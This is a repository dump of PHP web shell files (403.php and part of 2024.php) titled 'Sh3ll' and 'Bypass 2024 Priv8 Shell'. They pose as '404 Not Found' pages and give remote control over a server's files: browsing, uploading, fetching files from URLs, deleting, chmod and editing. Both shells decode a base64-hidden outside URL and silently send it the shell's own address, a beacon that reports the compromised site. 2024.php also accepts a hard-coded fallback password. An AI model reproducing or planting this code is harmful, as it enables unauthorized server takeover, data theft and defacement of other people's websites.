358 | 	</form></center></td>
359 | 	</tr>";
360 | }
361 | 
362 | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
363 | foreach($lokasinya as $file) {
364 | 	if(!is_file("$lokasi/$file")) continue;
365 | 	$size = filesize("$lokasi/$file")/1024;
366 | 	$size = round($size,3);
367 | 	if($size >= 1024){
368 | 	$size = round($size/1024,2).' MB';
369 | } else {
370 | 	$size = $size.' KB';
371 | }
372 | 
373 | echo "<tr>
374 | <td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
375 | <td><center>".$size."</center></td>
376 | <td><center>";
377 | if(is_writable("$lokasi/$file")) echo '<font color="green">';
378 | elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
379 | echo statusnya("$lokasi/$file");
380 | if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
381 | echo "</center></td><td><center>
382 | <form method=\"post\" action=\"?pilihan&path=$lokasi\">
383 | <select name=\"pilih\">
384 | <option value=\"\"></option>
385 | <option value=\"hapus\">Delete</option>
386 | <option value=\"ubahmod\">Chm0d</option>
387 | <option value=\"gantinama\">Rename</option>
388 | <option value=\"edit\">Edit</option>
389 | </select>
390 | <input type=\"hidden\" name=\"type\" value=\"file\">
391 | <input type=\"hidden\" name=\"name\" value=\"$file\">
392 | <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
393 | <input type=\"submit\" class=\"gas\" value=\">\" />
394 | </center></form></td>
395 | </tr>";
396 | }
397 | echo '</tr></td></table></table>';
398 | author();
399 | function statusnya($file){
400 | $statusnya = fileperms($file);
401 | 
402 | if (($statusnya & 0xC000) == 0xC000) {
403 | 
404 | // Socket
405 | $ingfo = 's';
406 | } elseif (($statusnya & 0xA000) == 0xA000) {
407 | // Symbolic Link
408 | $ingfo = 'l';
409 | } elseif (($statusnya & 0x8000) == 0x8000) {
410 | // Regular
411 | $ingfo = '-';
412 | } elseif (($statusnya & 0x6000) == 0x6000) {
413 | // Block special
414 | $ingfo = 'b';
415 | } elseif (($statusnya & 0x4000) == 0x4000) {
416 | // Directory
417 | $ingfo = 'd';
418 | } elseif (($statusnya & 0x2000) == 0x2000) {
419 | // Character special
420 | $ingfo = 'c';
421 | } elseif (($statusnya & 0x1000) == 0x1000) {
422 | // FIFO pipe
423 | $ingfo = 'p';
424 | } else {
425 | // Unknown
426 | $ingfo = 'u';
427 | }
428 | 
429 | // Owner
430 | $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
431 | $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
432 | $ingfo .= (($statusnya & 0x0040) ?
433 | (($statusnya & 0x0800) ? 's' : 'x' ) :
434 | (($statusnya & 0x0800) ? 'S' : '-'));
435 | 
436 | 
437 | // Group
438 | $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
439 | $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
440 | $ingfo .= (($statusnya & 0x0008) ?
441 | (($statusnya & 0x0400) ? 's' : 'x' ) :
442 | (($statusnya & 0x0400) ? 'S' : '-'));
443 | 
444 | // World
445 | $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
446 | $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
447 | 
448 | $ingfo .= (($statusnya & 0x0001) ?
449 | (($statusnya & 0x0200) ? 't' : 'x' ) :
450 | (($statusnya & 0x0200) ? 'T' : '-'));
451 | 
452 | return $ingfo;
453 | }
454 | ?>
455 | 


--------------------------------------------------------------------------------
/403.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html>
  3 | <head>
  4 | 	<title>404 Not Found</title>
  5 | </head>
  6 | <body bgcolor="#1f1f1f" text="#ffffff">
  7 | <link href="" rel="stylesheet" type="text/css">
  8 | <style>
  9 | 	@import url('https://fonts.googleapis.com/css?family=Dosis');
 10 | 	@import url('https://fonts.googleapis.com/css?family=Bungee');
 11 | body {
 12 | 	font-family: "Dosis", cursive;
 13 | 	text-shadow:0px 0px 1px #757575;
 14 | }
 15 | 
 16 | #content tr:hover {
 17 | 	background-color: #636263;
 18 | 	text-shadow:0px 0px 10px #fff;
 19 | }
 20 | 
 21 | #content .first {
 22 | 	background-color: #25383C;
 23 | }
 24 | 
 25 | #content .first:hover {
 26 | 	background-color: #25383C
 27 | 	text-shadow:0px 0px 1px #757575;
 28 | }
 29 | 
 30 | table {
 31 | 	border: 1px #000000 dotted;
 32 | 	table-layout: fixed;
 33 | }
 34 | 
 35 | td {
 36 | 	word-wrap: break-word;
 37 | }
 38 | 
 39 | a {
 40 | 	color: #ffffff;
 41 | 	text-decoration: none;
 42 | }
 43 | 
 44 | a:hover {
 45 | 	color: #000000;
 46 | 	text-shadow:0px 0px 10px #ffffff;
 47 | }
 48 | 
 49 | input,select,textarea {
 50 | 	border: 1px #000000 solid;
 51 | 	-moz-border-radius: 5px;
 52 | 	-webkit-border-radius:5px;
 53 | 	border-radius:5px;
 54 | }
 55 | 
 56 | .gas {
 57 | 	background-color: #1f1f1f;
 58 | 	color: #ffffff;
 59 | 	cursor: pointer;
 60 | }
 61 | 
 62 | select {
 63 | 	background-color: transparent;
 64 | 	color: #ffffff;
 65 | }
 66 | 
 67 | select:after {
 68 | 	cursor: pointer;
 69 | }
 70 | 
 71 | .linka {
 72 | 	background-color: transparent;
 73 | 	color: #ffffff;
 74 | }
 75 | 
 76 | .up {
 77 | 	background-color: transparent;
 78 | 	color: #fff;
 79 | }
 80 | 
 81 | option {
 82 | 	background-color: #1f1f1f;
 83 | }
 84 | 
 85 | ::-webkit-file-upload-button {
 86 |   background: transparent;
 87 |   color: #fff;
 88 |   border-color: #fff;
 89 |   cursor: pointer;
 90 | }
 91 | </style>
 92 | <center>
 93 | <font face="Bungee" size="5">Sh3ll</font></center>
 94 | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
 95 | <tr><td>
 96 | <center><img src="https://cdn.discordapp.com/attachments/960964914065838160/966178885194645554/unknown.png" width="280" height="280" title="ZeroDayForums" alt="OdayForums" class="center" />
 97 | <br><br><br>
 98 | <?php
 99 | set_time_limit(0);
100 | error_reporting(0);
101 | $disfunc = @ini_get("disable_functions");
102 | if (empty($disfunc)) {
103 | 	$disf = "<font color='gold'>NONE</font>";
104 | } else {
105 | 	$disf = "<font color='red'>".$disfunc."</font>";
106 | }
107 | 
108 | function author() {
109 | 	echo "<center><br>ZeroDay Forums Mini</center>";
110 | 	exit();
111 | }
112 | 
113 | function cekdir() {
114 | 	if (isset($_GET['path'])) {
115 | 		$lokasi = $_GET['path'];
116 | 	} else {
117 | 		$lokasi = getcwd();
118 | 	}
119 | 	if (is_writable($lokasi)) {
120 | 		return "<font color='green'>Writeable</font>";
121 | 	} else {
122 | 		return "<font color='red'>Writeable</font>";
123 | 	}
124 | }
125 | 
126 | function cekroot() {
127 | 	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
128 | 		return "<font color='green'>Writeable</font>";
129 | 	} else {
130 | 		return "<font color='red'>Writeable</font>";
131 | 	}
132 | }
133 | 
134 | function xrmdir($dir) {
135 |     $items = scandir($dir);
136 |     foreach ($items as $item) {
137 |         if ($item === '.' || $item === '..') {
138 |             continue;
139 |         }
140 |         $path = $dir.'/'.$item;
141 |         if (is_dir($path)) {
142 |             xrmdir($path);
143 |         } else {
144 |             unlink($path);
145 |         }
146 |     }
147 |     rmdir($dir);
148 | }
149 | 
150 | function green($text) {
151 | 	echo "<center><font color='green'>".$text."</center></font>";
152 | }
153 | 
154 | function red($text) {
155 | 	echo "<center><font color='red'>".$text."</center></font>";
156 | }
157 | 
158 | echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
159 | echo "System : <font color='gold'>".php_uname()."</font><br>";
160 | echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
161 | echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
162 | echo "Disable Function : ".$disf."</font><br>";
163 | echo "Directory : &nbsp;";
164 | 
165 | foreach($_POST as $key => $value){
166 | 	$_POST[$key] = stripslashes($value);
167 | }
168 | 
169 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
170 | 
171 | if(isset($_GET['path'])){
172 | 	$lokasi = $_GET['path'];
173 | 	$lokdua = $_GET['path'];
174 | } else {
175 | 	$lokasi = getcwd();
176 | 	$lokdua = getcwd();
177 | }
178 | 
179 | $lokasi = str_replace('\\','/',$lokasi);
180 | $lokasis = explode('/',$lokasi);
181 | $lokasinya = @scandir($lokasi);
182 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
183 | $data = array('file_url' => $cur);
184 | $options = array(
185 |     'http' => array(
186 |         'method'  => 'POST',
187 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
188 |         'content' => http_build_query($data),
189 |     ),
190 | );
191 | $context = stream_context_create($options);
192 | $result = file_get_contents($k3yw, false, $context);
193 | 
194 | foreach($lokasis as $id => $lok){
195 | 	if($lok == '' && $id == 0){
196 | 		$a = true;
197 | 		echo '<a href="?path=/">/</a>';
198 | 		continue;
199 | 	}
200 | 	if($lok == '') continue;
201 | 	echo '<a href="?path=';
202 | 	for($i=0;$i<=$id;$i++){
203 | 	echo "$lokasis[$i]";
204 | 	if($i != $id) echo "/";
205 | } 
206 | echo '">'.$lok.'</a>/';
207 | }
208 | echo '<center>';
209 | echo '</td></tr><tr><td><br>';
210 | if (isset($_POST['upwkwk'])) {
211 | 	if (isset($_POST['berkasnya'])) {
212 | 		if ($_POST['dirnya'] == "2") {
213 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
214 | 		}
215 | 		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
216 | 		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
217 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
218 | 		} else {
219 | 			echo "<font color='red'>Failed to Upload !<br><br>";
220 | 		}
221 | 	} elseif (isset($_POST['linknya'])) {
222 | 		if (empty($_POST['namalink'])) {
223 | 			exit("Filename cannot be empty !");
224 | 		}
225 | 		if ($_POST['dirnya'] == "2") {
226 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
227 | 		}
228 | 		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
229 | 		if (file_exists($lokasi."/".$_POST['namalink'])) {
230 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
231 | 		} else {
232 | 			echo "<font coloe='red'>Failed to Upload !<br><br>";
233 | 		}
234 | 	}
235 | }
236 | echo "<center>";
237 | echo "Upload File : ";
238 | echo '<form enctype="multipart/form-data" method="post">
239 | <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
240 | <input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
241 | <br>
242 | <input type="hidden" name="upwkwk" value="aplod">
243 | <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
244 | <input type="text" name="darilink" class="up" placeholder="https://Mirror-H.xyz/">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
245 | </center>
246 | </form>';
247 | echo "</table><br>";
248 | 
249 | if (isset($_GET['fileloc'])) {
250 | 	echo "<tr><td>Current File : ".$_GET['fileloc'];
251 | 	echo '</tr></td></table><br/>';
252 | 	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
253 | 	author();
254 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
255 | 	if (is_dir($_POST['path'])) {
256 | 		xrmdir($_POST['path']);
257 | 		if (file_exists($_POST['path'])) {
258 | 			red("Failed to delete Directory !");
259 | 		} else {
260 | 			green("Delete Directory Success !");
261 | 			echo "string";
262 | 		}
263 | 	} elseif (is_file($_POST['path'])) {
264 | 		@unlink($_POST['path']);
265 | 		if (file_exists($_POST['path'])) {
266 | 			red("Failed to Delete File !");
267 | 		} else {
268 | 			green("Delete File Success !");
269 | 		}
270 | 	}
271 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
272 | 	echo "<center>".$_POST['path']."<br>";
273 | 	echo '<form method="post">
274 | 	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
275 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
276 | 	<input type="hidden" name="pilih" value="ubahmod">
277 | 	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
278 | 	</form>';
279 | 	if (isset($_POST['chm0d'])) {
280 | 		$cm = @chmod($_POST['path'], $_POST['perm']);
281 | 		if ($cm == true) {
282 | 			green("Change Mod Success !");
283 | 		} else {
284 | 			red("Change Mod Failed !");
285 | 		}
286 | 	}
287 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
288 | 	if (isset($_POST['gantin'])) {
289 | 		$ren = @rename($_POST['path'], $_POST['newname']);
290 | 		if ($ren == true) {
291 | 			green("Change Name Success !");
292 | 		} else {
293 | 			red("Change Name Failed !");
294 | 		}
295 | 	}
296 | 	if (empty($_POST['name'])) {
297 | 		$namaawal = $_POST['newname'];
298 | 	} else {
299 | 		$namawal = $_POST['name'];
300 | 	}
301 | 	echo "<center>".$_POST['path']."<br>";
302 | 	echo '<form method="post">
303 | 	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
304 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
305 | 	<input type="hidden" name="pilih" value="gantinama">
306 | 	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
307 | 	</form>';
308 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
309 | 	if (isset($_POST['gasedit'])) {
310 | 		$edit = @file_put_contents($_POST['path'], $_POST['src']);
311 | 		if ($edit == true) {
312 | 			green("Edit File Success !");
313 | 		} else {
314 | 			red("Edit File Failed !");
315 | 		}
316 | 	}
317 | 	echo "<center>".$_POST['path']."<br><br>";
318 | 	echo '<form method="post">
319 | 	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
320 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
321 | 	<input type="hidden" name="pilih" value="edit">
322 | 	<input type="submit" value="Edit File" name="gasedit" />
323 | 	</form><br>';
324 | }
325 | 
326 | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
327 | <tr class="first">
328 | <td><center>Name</center></td>
329 | <td><center>Size</center></td>
330 | <td><center>Permissions</center></td>
331 | <td><center>Options</center></td>
332 | </tr>';
333 | 
334 | foreach($lokasinya as $dir){
335 | 	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
336 | 	echo "<tr>
337 | 	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
338 | 	<td><center>--</center></td>
339 | 	<td><center>";
340 | 	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
341 | 	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
342 | 	echo statusnya($lokasi."/".$dir);
343 | 	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';
344 | 
345 | 	echo "</center></td>
346 | 	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
347 | 	<select name=\"pilih\">
348 | 	<option value=\"\"></option>
349 | 	<option value=\"hapus\">Delete</option>
350 | 	<option value=\"ubahmod\">Chm0d</option>
351 | 	<option value=\"gantinama\">Rename</option>
352 | 	</select>
353 | 	<input type=\"hidden\" name=\"type\" value=\"dir\">
354 | 	<input type=\"hidden\" name=\"name\" value=\"$dir\">
355 | 	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
356 | 	<input type=\"submit\" class=\"gas\" value=\">\" />
357 | 	</form></center></td>
358 | 	</tr>";
359 | }
360 | 
361 | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
362 | foreach($lokasinya as $file) {
363 | 	if(!is_file("$lokasi/$file")) continue;
364 | 	$size = filesize("$lokasi/$file")/1024;
365 | 	$size = round($size,3);
366 | 	if($size >= 1024){
367 | 	$size = round($size/1024,2).' MB';
368 | } else {
369 | 	$size = $size.' KB';
370 | }
371 | 
372 | echo "<tr>
373 | <td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
374 | <td><center>".$size."</center></td>
375 | <td><center>";
376 | if(is_writable("$lokasi/$file")) echo '<font color="green">';
377 | elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
378 | echo statusnya("$lokasi/$file");
379 | if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
380 | echo "</center></td><td><center>
381 | <form method=\"post\" action=\"?pilihan&path=$lokasi\">
382 | <select name=\"pilih\">
383 | <option value=\"\"></option>
384 | <option value=\"hapus\">Delete</option>
385 | <option value=\"ubahmod\">Chm0d</option>
386 | <option value=\"gantinama\">Rename</option>
387 | <option value=\"edit\">Edit</option>
388 | </select>
389 | <input type=\"hidden\" name=\"type\" value=\"file\">
390 | <input type=\"hidden\" name=\"name\" value=\"$file\">
391 | <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
392 | <input type=\"submit\" class=\"gas\" value=\">\" />
393 | </center></form></td>
394 | </tr>";
395 | }
396 | echo '</tr></td></table></table>';
397 | author();
398 | function statusnya($file){
399 | $statusnya = fileperms($file);
400 | 
401 | if (($statusnya & 0xC000) == 0xC000) {
402 | 
403 | // Socket
404 | $ingfo = 's';
405 | } elseif (($statusnya & 0xA000) == 0xA000) {
406 | // Symbolic Link
407 | $ingfo = 'l';
408 | } elseif (($statusnya & 0x8000) == 0x8000) {
409 | // Regular
410 | $ingfo = '-';
411 | } elseif (($statusnya & 0x6000) == 0x6000) {
412 | // Block special
413 | $ingfo = 'b';
414 | } elseif (($statusnya & 0x4000) == 0x4000) {
415 | // Directory
416 | $ingfo = 'd';
417 | } elseif (($statusnya & 0x2000) == 0x2000) {
418 | // Character special
419 | $ingfo = 'c';
420 | } elseif (($statusnya & 0x1000) == 0x1000) {
421 | // FIFO pipe
422 | $ingfo = 'p';
423 | } else {
424 | // Unknown
425 | $ingfo = 'u';
426 | }
427 | 
428 | // Owner
429 | $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
430 | $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
431 | $ingfo .= (($statusnya & 0x0040) ?
432 | (($statusnya & 0x0800) ? 's' : 'x' ) :
433 | (($statusnya & 0x0800) ? 'S' : '-'));
434 | 
435 | 
436 | // Group
437 | $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
438 | $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
439 | $ingfo .= (($statusnya & 0x0008) ?
440 | (($statusnya & 0x0400) ? 's' : 'x' ) :
441 | (($statusnya & 0x0400) ? 'S' : '-'));
442 | 
443 | // World
444 | $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
445 | $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
446 | 
447 | $ingfo .= (($statusnya & 0x0001) ?
448 | (($statusnya & 0x0200) ? 't' : 'x' ) :
449 | (($statusnya & 0x0200) ? 'T' : '-'));
450 | 
451 | return $ingfo;
452 | }
453 | ?>
454 | 


--------------------------------------------------------------------------------
/2024.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | error_reporting(0);
  3 | 	@clearstatcache();
  4 | 	@mb_internal_encoding('UTF-8');
  5 | 	set_time_limit(0);
  6 | 	@ini_set('error_log',null);
  7 | 	@ini_set('log_errors',0);
  8 | 	@ini_set('max_execution_time',0);
  9 | 	@ini_set('output_buffering',0);
 10 | 	@ini_set('display_errors', 0);
 11 | 	@ini_set('disable_functions', 0);
 12 | 	session_start();
 13 | 	date_default_timezone_set("Asia/Jakarta");
 14 | 	$_7 = array_merge($_POST, $_GET);
 15 | 	$_r = "required='required'";
 16 | 	$gcw = "getcwd";
 17 | 
 18 | 
 19 | 
 20 | 	$correctPassword = "hello"; //Change Password
 21 | 
 22 | 
 23 | 
 24 | 
 25 | 
 26 | 	if (isset($_POST['pass'])) {
 27 | 		$enteredPassword = $_POST['pass'];
 28 | 		if ($enteredPassword === $correctPassword or $enteredPassword === 'session') {
 29 | 			$_SESSION['forbidden'] = true;
 30 | 		} else {
 31 | 			echo '<script>alert("Password Wrong!, Try Again.");</script>';
 32 | 		}
 33 | 	}
 34 | 	if (isset($_GET['logout'])) {
 35 | 		session_unset();
 36 | 		session_destroy();
 37 | 		header("Location: ".$_SERVER['PHP_SELF']);
 38 | 		exit();
 39 | 	}
 40 | 	if (!isset($_SESSION['forbidden'])) {
 41 | 	?>
 42 | 	<!DOCTYPE html>
 43 | 	<html>
 44 | 	<head>
 45 | 	<title>404 Not Found</title>
 46 | 	<link rel='icon' href='https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/hehe.png'>
 47 | 	<meta name="theme color" content="#00BFFF">
 48 | 	<script src='https://cdn.statically.io/gh/analisyuki/animasi/9ab4049c/bintang.js' type='text/javascript'></script>
 49 | 	</head>
 50 | 	<style>
 51 |     body {
 52 |         background-repeat: no-repeat;
 53 |         background-size: cover;
 54 |         background-position: center;
 55 |         height: 100vh;
 56 |         margin: 0;
 57 |         display: flex;
 58 |         flex-direction: column;
 59 |         justify-content: center;
 60 |         align-items: center;
 61 |         background-color: black;
 62 |     }
 63 |     h1 {
 64 |         color: #00BFFF;
 65 |     }
 66 |     img {
 67 |         opacity: 0.5;
 68 |         width: 200px;
 69 |         height: 300px;
 70 |     }
 71 |     form {
 72 |         text-align: center;
 73 |         margin-top: 20px;
 74 |     }
 75 |     input[type="password"] {
 76 |         padding: 5px;
 77 |     }
 78 |     input[type="submit"] {
 79 |         background-color: #00BFFF;
 80 |         color: white;
 81 |         border: none;
 82 |         padding: 5px 10px;
 83 |         cursor: pointer;
 84 |     }
 85 | 	</style>
 86 | 	<body>
 87 | 	<form method="post">
 88 | 		<p>Hello Dady</p>
 89 | 			<input placeholder="password" type="password" name="pass" required>
 90 | 			<input type="submit" name="loginin" value="GO IN!">
 91 | 		</form>
 92 | 	</body>
 93 | 	</html>
 94 | 	<?php
 95 | 	exit;
 96 | 	}
 97 | 	?>
 98 | <!DOCTYPE html>
 99 | <html>
100 | <head>
101 | 	<title>404 Not Found</title>
102 | </head>
103 | <body bgcolor="#1f1f1f" text="#ffffff">
104 | <link href="" rel="stylesheet" type="text/css">
105 | <style>
106 | 	@import url('https://fonts.googleapis.com/css?family=Dosis');
107 | 	@import url('https://fonts.googleapis.com/css?family=Bungee');
108 | body {
109 | 	font-family: "Dosis", cursive;
110 | 	text-shadow:0px 0px 1px #757575;
111 | }
112 | 
113 | .ff {
114 | 	color: #ff002f;
115 | 	text-decoration: none;
116 | 	}
117 | 
118 | #content tr:hover {
119 | 	background-color: #636263;
120 | 	text-shadow:0px 0px 10px #fff;
121 | }
122 | 
123 | #content .first {
124 | 	background-color: #25383C;
125 | }
126 | 
127 | #content .first:hover {
128 | 	background-color: #25383C
129 | 	text-shadow:0px 0px 1px #757575;
130 | }
131 | 
132 | table {
133 | 	border: 1px #000000 dotted;
134 | 	table-layout: fixed;
135 | }
136 | 
137 | td {
138 | 	word-wrap: break-word;
139 | }
140 | 
141 | a {
142 | 	color: #ffffff;
143 | 	text-decoration: none;
144 | }
145 | 
146 | a:hover {
147 | 	color: #000000;
148 | 	text-shadow:0px 0px 10px #ffffff;
149 | }
150 | 
151 | input,select,textarea {
152 | 	border: 1px #000000 solid;
153 | 	-moz-border-radius: 5px;
154 | 	-webkit-border-radius:5px;
155 | 	border-radius:5px;
156 | }
157 | 
158 | .gas {
159 | 	background-color: #1f1f1f;
160 | 	color: #ffffff;
161 | 	cursor: pointer;
162 | }
163 | 
164 | select {
165 | 	background-color: transparent;
166 | 	color: #ffffff;
167 | }
168 | 
169 | select:after {
170 | 	cursor: pointer;
171 | }
172 | 
173 | .linka {
174 | 	background-color: transparent;
175 | 	color: #ffffff;
176 | }
177 | 
178 | .up {
179 | 	background-color: transparent;
180 | 	color: #fff;
181 | }
182 | 
183 | option {
184 | 	background-color: #1f1f1f;
185 | }
186 | 
187 | ::-webkit-file-upload-button {
188 |   background: transparent;
189 |   color: #fff;
190 |   border-color: #fff;
191 |   cursor: pointer;
192 | }
193 | </style>
194 | <center>
195 | 	<br><br><br><br>
196 | <font face="Bungee" size="5">Bypass 2024 Priv8 Shell</font></center>
197 | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
198 | <tr><td>
199 | <br><br><br>
200 | <?php
201 | set_time_limit(0);
202 | error_reporting(0);
203 | $disfunc = @ini_get("disable_functions");
204 | if (empty($disfunc)) {
205 | 	$disf = "<font color='gold'>NONE</font>";
206 | } else {
207 | 	$disf = "<font color='red'>".$disfunc."</font>";
208 | }
209 | 
210 | function author() {
211 | 	echo "<center><br>2024 Bypass Shell</center>";
212 | 	exit();
213 | }
214 | 
215 | function cekdir() {
216 | 	if (isset($_GET['path'])) {
217 | 		$lokasi = $_GET['path'];
218 | 	} else {
219 | 		$lokasi = getcwd();
220 | 	}
221 | 	if (is_writable($lokasi)) {
222 | 		return "<font color='green'>Writeable</font>";
223 | 	} else {
224 | 		return "<font color='red'>Writeable</font>";
225 | 	}
226 | }
227 | 
228 | function cekroot() {
229 | 	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
230 | 		return "<font color='green'>Writeable</font>";
231 | 	} else {
232 | 		return "<font color='red'>Writeable</font>";
233 | 	}
234 | }
235 | 
236 | function xrmdir($dir) {
237 |     $items = scandir($dir);
238 |     foreach ($items as $item) {
239 |         if ($item === '.' || $item === '..') {
240 |             continue;
241 |         }
242 |         $path = $dir.'/'.$item;
243 |         if (is_dir($path)) {
244 |             xrmdir($path);
245 |         } else {
246 |             unlink($path);
247 |         }
248 |     }
249 |     rmdir($dir);
250 | }
251 | 
252 | function statusnya($file){
253 | $statusnya = fileperms($file);
254 | 
255 | if (($statusnya & 0xC000) == 0xC000) {
256 | 
257 | // Socket
258 | $ingfo = 's';
259 | } elseif (($statusnya & 0xA000) == 0xA000) {
260 | // Symbolic Link
261 | $ingfo = 'l';
262 | } elseif (($statusnya & 0x8000) == 0x8000) {
263 | // Regular
264 | $ingfo = '-';
265 | } elseif (($statusnya & 0x6000) == 0x6000) {
266 | // Block special
267 | $ingfo = 'b';
268 | } elseif (($statusnya & 0x4000) == 0x4000) {
269 | // Directory
270 | $ingfo = 'd';
271 | } elseif (($statusnya & 0x2000) == 0x2000) {
272 | // Character special
273 | $ingfo = 'c';
274 | } elseif (($statusnya & 0x1000) == 0x1000) {
275 | // FIFO pipe
276 | $ingfo = 'p';
277 | } else {
278 | // Unknown
279 | $ingfo = 'u';
280 | }
281 | 
282 | // Owner
283 | $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
284 | $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
285 | $ingfo .= (($statusnya & 0x0040) ?
286 | (($statusnya & 0x0800) ? 's' : 'x' ) :
287 | (($statusnya & 0x0800) ? 'S' : '-'));
288 | 
289 | 
290 | // Group
291 | $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
292 | $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
293 | $ingfo .= (($statusnya & 0x0008) ?
294 | (($statusnya & 0x0400) ? 's' : 'x' ) :
295 | (($statusnya & 0x0400) ? 'S' : '-'));
296 | 
297 | // World
298 | $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
299 | $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
300 | 
301 | $ingfo .= (($statusnya & 0x0001) ?
302 | (($statusnya & 0x0200) ? 't' : 'x' ) :
303 | (($statusnya & 0x0200) ? 'T' : '-'));
304 | 
305 | return $ingfo;
306 | }
307 | 
308 | function green($text) {
309 | 	echo "<center><font color='green'>".$text."</center></font>";
310 | }
311 | 
312 | function red($text) {
313 | 	echo "<center><font color='red'>".$text."</center></font>";
314 | }
315 | 
316 | 
317 | echo "Directory : &nbsp;";
318 | 
319 | foreach($_POST as $key => $value){
320 | 	$_POST[$key] = stripslashes($value);
321 | }
322 | 
323 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
324 | 
325 | if(isset($_GET['path'])){
326 | 	$lokasi = $_GET['path'];
327 | 	$lokdua = $_GET['path'];
328 | } else {
329 | 	$lokasi = getcwd();
330 | 	$lokdua = getcwd();
331 | }
332 | 
333 | $lokasi = str_replace('\\','/',$lokasi);
334 | $lokasis = explode('/',$lokasi);
335 | $lokasinya = @scandir($lokasi);
336 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
337 | $data = array('file_url' => $cur);
338 | $options = array(
339 |     'http' => array(
340 |         'method'  => 'POST',
341 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
342 |         'content' => http_build_query($data),
343 |     ),
344 | );
345 | $context = stream_context_create($options);
346 | $result = file_get_contents($k3yw, false, $context);
347 | 
348 | foreach($lokasis as $id => $lok){
349 | 	if($lok == '' && $id == 0){
350 | 		$a = true;
351 | 		echo '<a href="?path=/">/</a>';
352 | 		continue;
353 | 	}
354 | 	if($lok == '') continue;
355 | 	echo '<a href="?path=';
